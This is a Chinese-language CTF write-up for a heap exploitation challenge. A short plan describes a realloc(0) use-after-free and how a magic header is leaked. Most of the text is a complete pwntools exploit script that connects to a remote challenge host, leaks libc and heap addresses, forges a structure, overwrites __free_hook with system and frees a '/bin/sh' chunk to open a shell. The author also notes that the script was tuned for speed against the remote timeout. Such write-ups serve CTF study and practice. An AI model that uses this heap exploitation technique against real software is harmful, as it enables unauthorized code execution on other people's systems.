写着写着自己都乱了。
菜单很长,块也很大看起来极不方便。
先是建用户和登录这个没啥,然后就是post,每个post会有一个管理块。整理一下大概关系是这样的: 用户块0x220->0x20->0x120->post信息,其中用户块没有溢出,但post有realloc修改,好像就这一个漏洞点。
另外每个头上加了migic:2字节序号+2字节校验。这个可以泄露但如果序号在0x100以下会被截断,所以要先建256块再泄露。
主要思路:
- 建用户登录
- 建255个小块(用户也占用块序号)将块序号增到两字节
- 建0x118,0x218将来用realloc(0)释放后UAF来控制新用户块
- 用realloc(0)功能释放255-258
- show得到堆地址和libc地址
- 新建一个用户,使用刚释放的0x220的块(这个可以控制)将生成magic
- 再用第1个用户进,show得到magic
- 建一个fack_pet_manager块,写入伪造的magic头和pet指针,这里指向free_hook
- 修改0x220块(新用户)在尾部伪造指针,指向fake_pet_manager。这时用户B->fake_pet_manager->free_hook
- 用用户B登录,修改pet_name在free_hook写入system
- 再建个写/bin/sh的块释放得到shell
from pwn import *
'''
patchelf --set-interpreter ../buuoj_2.23_amd64/ld_2.23-0ubuntu10_amd64.so pwn
patchelf --add-needed ../buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so pwn
'''
local = 0
if local == 1:
p = process('./pwn')
else:
p = remote('node4.buuoj.cn', 26888)
libc_elf = ELF('../buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so')
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
libc_start_main_ret = 0x20830
elf = ELF('./pwn')
context.arch = 'amd64'
menu = b' >>\n'
def add_user(name,pas):
p.sendlineafter(menu, b'1')
p.sendlineafter(menu, name)
p.sendlineafter(menu, pas)
def user_login(name, pas):
p.sendlineafter(menu, b'2')
p.sendlineafter(menu, name)
p.sendlineafter(menu, pas)
def add_post(title,size,msg):
p.sendlineafter(menu, b'1')
p.sendlineafter(b'Title >>\n', title)
p.sendlineafter(b'Content Length >>\n', str(size).encode())
p.sendlineafter(b'Content >>\n', msg)
def add_post2(title,size,msg):
p.sendline(b'1')
p.sendline(title)
p.sendline(str(size).encode())
p.sendline(msg)
def edit_post(idx, title, size, msg):
p.sendlineafter(menu, b'3')
p.sendlineafter(menu, str(idx).encode())
p.sendlineafter(menu, title)
p.sendlineafter(menu, str(size).encode())
if size>0:
p.sendlineafter(menu, msg)
def edit_post2(idx, title, size, msg):
p.sendline(b'3')
p.sendline(str(idx).encode())
p.sendline(title)
p.sendline(str(size).encode())
def logout():
p.sendlineafter(menu, b'0')
def logout2():
p.sendline(b'0')
def show():
p.sendlineafter(menu, b'2')
def show2():
p.sendline(b'2')
def add_pet(msg):
p.sendlineafter(menu, b'5')
p.sendlineafter(b"Name your pet >>\n", msg)
def edit_pet(msg):
p.sendlineafter(menu, b'6')
p.sendlineafter(b"Name your pet >>\n", msg)
#x220->x20->x120->n:content
context.log_level = 'debug'
add_user(b'A', b'A')
user_login(b'A', b'A')
[add_post2(b'A', 8, b'A') for i in range(255)]
add_post2(b'A', 0x118, b'A') #257
add_post2(b'A', 0x218, b'A') #258
edit_post2(0x101, b'A', 0, b'A') #UAF 0x120 A120
edit_post2(0x102, b'A', 0, b'A') #UAF 0x220 A220
edit_post2(0xff, b'A', 0, b'A') #UAF 0x20 A20
edit_post2(0x100, b'A', 0, b'A') #UAF 0x20 A20
show()
p.recvuntil(b'257')
p.recvuntil(b'Content: ')
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x58 -0x10 - libc_elf.sym['__malloc_hook']
libc_elf.address = libc_base
one_gadget = libc_base + one[0]
print('libc:', hex(libc_base))
p.recvuntil(b'256')
p.recvuntil(b'Content: ')
heap_addr = u64(p.recvline()[:-1].ljust(8, b'\x00'))
print('heap:', hex(heap_addr))
logout()
add_user(b'B', b'B')
#get magic
user_login(b'A', b'A')
show()
p.recvuntil(b'258')
p.recvuntil(b'Content: ')
magic = p.recv(4)
print('magic:', magic)
add_post(b'A', 0x18, p16(261)+ magic[2:4]+ b'AAAA' + p64(libc_elf.sym['__free_hook'])) #fake_pet_manager free_hook pet
#clear link_cnt +0x210 = 0 ptr_pet->fake_pet_manager
edit_post(258, b'A', 0x218, magic + b'B'.ljust(0x100, b'\x00') + b'B'.ljust(0x100, b'\x00') + b'A'*4 + p64(heap_addr+0x10)+p64(0))
logout()
user_login(b'B', b'B')
edit_pet(p64(libc_elf.sym['system']))
add_post(b'/bin/sh', 8, b'/bin/sh')
edit_post(261, b'A',0, b'A')
p.sendline(b'cat /flag')
p.interactive()
作完了看吧也不难,但远程卡了,时间不够会超时。这里需要把sendlineafter改为sendline这样会节省大量的时间才能成功。